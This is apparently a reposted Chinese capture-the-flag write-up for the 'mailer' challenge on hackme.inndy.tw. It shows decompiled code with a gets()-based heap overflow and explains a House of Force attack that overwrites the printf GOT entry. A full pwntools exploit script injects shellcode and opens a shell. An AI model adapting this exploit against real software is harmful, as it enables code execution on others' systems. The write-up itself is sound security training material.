hackme.inndy.tw——mailer

32位程序,没开PIE,NX,可写入可执行代码  #House Of Force

 

程序逻辑

 1 int service()
 2 {
 3   unsigned int v0; // eax
 4 
 5   qmemcpy(&helloworld, &unk_8048AA0, 0x48u);
 6   root = (int)&helloworld;
 7   memcpy((char *)&helloworld + 72, "Hello, World", 0xCu);
 8   while ( 1 )
 9   {
10     while ( 1 )
11     {
12       puts("0. Exit");
13       puts("1. Write mail");
14       puts("2. Dump mails");
15       printf("Action: ");
16       v0 = readint();
17       if ( v0 != 1 )
18         break;
19       write_mail();
20     }
21     if ( v0 < 1 )
22       break;
23     if ( v0 == 2 )
24       dump_mail();
25     else
26       puts("Invalid choice");
27   }
28   return puts("Bye");
29 }

write_mail模块如下,用了gets,造成堆溢出

 1 int write_mail()
 2 {
 3   int v0; // eax
 4   int v1; // ST1C_4
 5   int result; // eax
 6 
 7   printf("Content Length: ");
 8   v0 = readint();
 9   v1 = new_mail(v0);
10   printf("Title: ");
11   gets((char *)(v1 + 4)); //堆溢出
12   printf("Content: ");
13   gets((char *)(v1 + 72));//堆溢出
14   *(_DWORD *)v1 = root;
15   result = v1;
16   root = v1;
17   return result;
18 }

结构体如下

1 00000000 rifle           struc ; (sizeof=0x48+size)
2 00000000 ptr            db 4 dup(?)
3 00000004 title          db 64 dup(?)
4 00000044 size           db 4 dup(?)                    ; offset
5 00000048 content     db size dup(?)
6 00000048+size rifle           ends

dump_mail函数用来泄露地址

 1 int dump_mail()
 2 {
 3   _DWORD *v1; // [esp+8h] [ebp-10h]
 4   signed int v2; // [esp+Ch] [ebp-Ch]
 5 
 6   v1 = (_DWORD *)root;
 7   v2 = 1;
 8   while ( v1 )
 9   {
10     printf("-- Mail %d:\n", v2);
11     printf("Title: %s\n", v1 + 1);
12     printf("Content: ");
13     fwrite(v1 + 18, 1u, v1[17], stdout);
14     printf("\n-- End mail %d\n", v2++);
15     v1 = (_DWORD *)*v1;
16   }
17   return puts("-- No more mail!");
18 }

利用思路

  • 新建两个mail,创建chunk1和chunk2,其中chunk1输入title时写入shellcode,同时溢出到length,将其改为0x30,在使用dump功能的时候就可以把chunk1的堆地址泄漏出来
  • 同时在chunk2中输入content的时候,溢出到top chunk,修改size为0xffffffff
  • 再一次申请一个新的mail,大小为elf.got["printf"] - top- 72-16
  • 由于新的top chunk的size = old top chunk的地址+新malloc的chunk的大小,新的top chunk的地址为elf.got["printf"] -16+4
  • 下一次新建mail的时候,再输入的title就会刚刚好位于elf.got["printf"]中,修改为shellcode的地址
  • 改printf的got表为shellcode地址,从而getshell

expolit

 1 from pwn import *
 2 sh=process('./mailer')
 3 libc=ELF('/lib/i386-linux-gnu/libc.so.6')
 4 #sh=remote('hackme.inndy.tw',7721)
 5 #libc=ELF('./libc-2.23.so.i386')
 6 elf=ELF('./mailer')
 7 context(os='linux',)
 8 def writemail(size,title,data):
 9     sh.recvuntil('Action: ')
10     sh.sendline('1')
11     sh.recvuntil('Content Length: ')
12     sh.sendline(str(size))
13     sh.recvuntil('Title: ')
14     sh.sendline(title)
15     sh.recvuntil('Content: ')
16     sh.sendline(data)
17 
18 def dumpmail():
19     sh.recvuntil('Action: ')
20     sh.sendline('2')
21 
22 shellcode=asm(shellcraft.i386.linux.sh())
23 shellcode=shellcode.ljust(0x40,'\x00')
24 writemail(32,shellcode+p32(0x30),'aaaa')
25 writemail(32,'bbbb','bbbb'*8+p32(0)+p32(0xffffffff))
26 dumpmail()
27 sh.recvuntil('Mail 2:')
28 leak_adr=u32(sh.recvuntil('bbbb',drop=True)[-4:])
29 shell_adr=leak_adr+0x4
30 top=leak_adr+0xd8
31 fake_size=elf.got['printf']-top-72-16
32 print 'printf_got: '+hex(elf.got['printf'])
33 print 'top: '+hex(top)
34 #gdb.attach(sh)
35 writemail(fake_size,'aaaa','bbbb')
36 #gdb.attach(sh)
37 sh.sendline('1')
38 sh.sendline('30')
39 sh.sendline(p32(shell_adr))
40 sh.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10739735.html